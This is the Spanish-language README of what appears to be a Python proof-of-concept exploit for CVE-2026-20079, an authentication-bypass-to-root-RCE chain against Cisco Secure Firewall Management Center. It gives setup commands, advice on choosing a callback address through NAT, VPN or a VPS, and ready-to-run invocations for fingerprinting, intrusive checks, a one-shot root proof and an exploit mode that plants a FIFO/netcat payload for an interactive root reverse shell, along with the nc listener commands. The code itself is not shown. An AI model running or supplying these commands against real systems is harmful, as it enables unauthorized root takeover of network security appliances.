
Implementa la cadena authentication-bypass-to-root-RCE CVE-2026-20079 contra Cisco Secure FMC usando los modos fingerprint, check, proof y exploit interactivo.
Prueba de concepto en Python para la cadena documentada públicamente de omisión de autenticación a RCE como root en Cisco Secure Firewall Management Center, correspondiente a CVE-2026-20079.
Esta no es una vulnerabilidad nueva ni una cadena de explotación desarrollada de forma independiente. Es una implementación de sala limpia de la secuencia de solicitudes publicada por VulnCheck, con modos separados de fingerprinting, comprobación por etapas, prueba única e explotación interactiva.
Se requiere Python 3.10 o posterior. En Linux o macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
Todos los valores 192.0.2.x a continuación son direcciones reservadas para documentación. Son marcadores de posición, no información de objetivo descubierta, y deben reemplazarse con valores de la evaluación autorizada. No se espera que los comandos funcionen sin cambios.
| Ejemplo | Significado | Qué usar en su lugar |
|---|---|---|
https://192.0.2.10 | URL del FMC objetivo | El esquema, la dirección y el puerto exactos del FMC autorizado |
192.0.2.20 | Dirección a la que el FMC se conecta de vuelta | La dirección IP o el nombre DNS del listener del operador tal como es alcanzable desde el FMC |
192.0.2.0/24 | CIDR de huella de ejemplo | Un rango de red explícitamente autorizado |
4444 | Puerto TCP de callback/listener | Un puerto alcanzable aprobado en el sistema de callback |
0.0.0.0 | Dónde se enlaza el listener en el sistema del operador | Manténgalo para escuchar en todas las interfaces locales, o use la dirección de una interfaz local |
192.0.2.10 en --expected-callback-source | Origen esperado del callback | La dirección de origen del FMC tal como la observa el listener; omita esta opción cuando NAT la haga incierta |
http://127.0.0.1:8080 | Proxy de interceptación local opcional | La URL del proxy que realmente escucha en el sistema del operador |
--callback-hostUse esta regla: desde el punto de vista del FMC, ¿qué dirección alcanza el listener del operador? Esa dirección es --callback-host.
| Ruta de red | Valor típico de --callback-host |
|---|---|
| El operador y el FMC están en la misma red enrutada | La dirección LAN alcanzable del sistema del operador, como eth0, en0 u otra |
| El operador alcanza el FMC a través de una VPN | La dirección alcanzable de la interfaz VPN, como tun0 o utun, cuando el FMC tiene una ruta hacia ella |
| El operador está detrás de NAT o un firewall | La IP pública o el nombre DNS cuyo puerto seleccionado se reenvía al sistema del operador |
| Se usa un túnel de callback o un VPS | El endpoint del túnel alcanzable o la dirección del VPS |
No use 127.0.0.1 ni 0.0.0.0 para --callback-host. 127.0.0.1 se referiría al propio FMC, mientras que 0.0.0.0 es un valor de enlace del listener, no un destino. Asegúrese de que el enrutamiento, las reglas de firewall y cualquier reenvío de puertos permitan que el FMC alcance --callback-host en --callback-port.
--listen-host es solo local: selecciona la interfaz en la que espera el listener integrado. Su valor predeterminado, 0.0.0.0, escucha en todas las interfaces locales. No le indica al FMC dónde conectarse. Por lo tanto, --callback-host y --listen-host pueden ser diferentes, especialmente a través de NAT.
Suponga este laboratorio ficticio, solo para documentación:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Los valores se asignan al comando de la siguiente manera:
--target https://192.0.2.10 identifica el FMC que se está evaluando.--callback-host 192.0.2.20 es la dirección eth0 del sistema del operador porque
el FMC puede enrutar directamente hacia ella.--callback-port 4444 es el puerto TCP aprobado utilizado por el callback.--listen-host 0.0.0.0 hace que el listener integrado acepte el callback en
cualquier interfaz local, incluida eth0.Un comando de prueba de un solo uso para ese ejemplo sería:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
El flujo es: el operador envía solicitudes HTTPS a 192.0.2.10, luego el FMC
se conecta de vuelta al 192.0.2.20:4444 del operador. En una evaluación real,
reemplace ambas direcciones IP y confirme la ruta de retorno antes de ejecutar el
comando. Si el FMC no puede alcanzar la dirección eth0 del operador, utilice en su lugar la
dirección VPN, NAT, túnel o VPS accesible descrita anteriormente.
| Modo | Efecto de red o sobre el objetivo | Evidencia o resultado |
|---|---|---|
--fingerprint | Solo solicitudes GET | Una posible superficie web del FMC; no es confirmación de vulnerabilidad |
--check | Como máximo dos solicitudes GET; sin actualización de sesión | El patrón de respuesta de bypass conocido coincidió total o parcialmente |
--check --intrusive | Actualiza el estado de sesión del lado del servidor | Bypass de autenticación y acceso a un token de acción |
--proof | Escribe y ejecuta un payload de callback acotado | Ejecución como root más limpieza, sin una shell interactiva |
--exploit | Escribe y ejecuta un payload FIFO/netcat | Un callback root interactivo, o verificación acotada con --auto-verify |
Establezca los tres valores de ejemplo una vez, reemplazando cada uno con el objetivo autorizado, la dirección de callback del operador y el puerto:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Luego elija exactamente un modo:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] La identificación por huella es un paso heurístico de identificación de productos, no una comprobación de vulnerabilidades.
MATCHyLIKELYno demuestran que el objetivo esté afectado o sea explotable, yNO_MATCHno descarta FMC. Los proxies inversos, las páginas de inicio de sesión personalizadas, los controles de acceso, los fallos de red o los cambios en el producto pueden afectar el resultado.